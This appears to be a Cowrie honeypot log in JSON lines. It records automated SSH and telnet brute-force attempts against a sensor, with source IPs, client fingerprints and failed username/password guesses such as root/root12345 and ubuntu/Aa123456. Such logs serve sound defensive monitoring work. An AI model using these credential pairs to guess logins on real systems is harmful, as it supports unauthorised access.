{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:15.498410Z","src_ip":"45.156.87.147","session":"bb8dc86ca20c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:16.594374Z","src_ip":"45.156.87.147","session":"bb8dc86ca20c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4775652885437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:18.154160Z","src_ip":"166.62.124.255","session":"57cceec56243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51554,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a29f9e74f3f","protocol":"ssh","message":"New connection: 45.156.87.147:51554 (10.17.0.5:22) [session: 6a29f9e74f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:21.173231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:21.176730Z","src_ip":"45.156.87.147","session":"6a29f9e74f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:21.259193Z","src_ip":"45.156.87.147","session":"6a29f9e74f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:21.591398Z","src_ip":"45.156.87.147","session":"6a29f9e74f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:22.707736Z","src_ip":"45.156.87.147","session":"6a29f9e74f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51558,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02b56cd5b06","protocol":"ssh","message":"New connection: 45.156.87.147:51558 (10.17.0.5:22) [session: c02b56cd5b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:27.399874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:27.453505Z","src_ip":"45.156.87.147","session":"c02b56cd5b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:27.605956Z","src_ip":"45.156.87.147","session":"c02b56cd5b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.1200168132782,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:27.681647Z","src_ip":"172.81.62.90","session":"498c131a3863","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:27.864216Z","src_ip":"45.156.87.147","session":"c02b56cd5b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:28.955465Z","src_ip":"45.156.87.147","session":"c02b56cd5b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.47255539894104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:31.048622Z","src_ip":"172.81.62.90","session":"ccfbe76ab922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43924,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04f48943f1b","protocol":"ssh","message":"New connection: 45.156.87.147:43924 (10.17.0.5:22) [session: e04f48943f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:33.451548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:33.455812Z","src_ip":"45.156.87.147","session":"e04f48943f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:33.537486Z","src_ip":"45.156.87.147","session":"e04f48943f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:33.793327Z","src_ip":"45.156.87.147","session":"e04f48943f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56296,"dst_ip":"10.17.0.5","dst_port":22,"session":"645477e22a34","protocol":"ssh","message":"New connection: 27.71.230.31:56296 (10.17.0.5:22) [session: 645477e22a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:34.762334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:34.771691Z","src_ip":"27.71.230.31","session":"645477e22a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:34.876550Z","src_ip":"45.156.87.147","session":"e04f48943f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:35.047948Z","src_ip":"27.71.230.31","session":"645477e22a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38448,"dst_ip":"159.203.135.109","dst_port":22,"session":"98803445fa94","protocol":"ssh","message":"New connection: 80.94.92.184:38448 (159.203.135.109:22) [session: 98803445fa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:35.467370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:35.597126Z","src_ip":"80.94.92.184","session":"98803445fa94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:35.804605Z","src_ip":"80.94.92.184","session":"98803445fa94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:36.941049Z","src_ip":"80.94.92.184","session":"98803445fa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:38.097131Z","src_ip":"80.94.92.184","session":"98803445fa94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admins","message":"login attempt [root/Admins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:38.365903Z","src_ip":"27.71.230.31","session":"645477e22a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53838,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e3fdc90a27e","protocol":"ssh","message":"New connection: 45.156.87.147:53838 (10.17.0.5:22) [session: 0e3fdc90a27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:39.412923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:39.416812Z","src_ip":"45.156.87.147","session":"0e3fdc90a27e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:39.497473Z","src_ip":"45.156.87.147","session":"0e3fdc90a27e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:39.751907Z","src_ip":"45.156.87.147","session":"0e3fdc90a27e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:39.804318Z","src_ip":"27.71.230.31","session":"645477e22a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:40.836305Z","src_ip":"45.156.87.147","session":"0e3fdc90a27e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53852,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9956bac786","protocol":"ssh","message":"New connection: 45.156.87.147:53852 (10.17.0.5:22) [session: 1c9956bac786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:45.207040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:45.210864Z","src_ip":"45.156.87.147","session":"1c9956bac786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:45.296602Z","src_ip":"45.156.87.147","session":"1c9956bac786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:45.549111Z","src_ip":"45.156.87.147","session":"1c9956bac786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:46.690997Z","src_ip":"45.156.87.147","session":"1c9956bac786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53634,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbdfee3ee4ee","protocol":"ssh","message":"New connection: 45.156.87.147:53634 (10.17.0.5:22) [session: fbdfee3ee4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:50.942600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:50.948803Z","src_ip":"45.156.87.147","session":"fbdfee3ee4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:51.030324Z","src_ip":"45.156.87.147","session":"fbdfee3ee4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:51.280073Z","src_ip":"45.156.87.147","session":"fbdfee3ee4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:55:52.367218Z","src_ip":"45.156.87.147","session":"fbdfee3ee4ee","protocol":"ssh"}
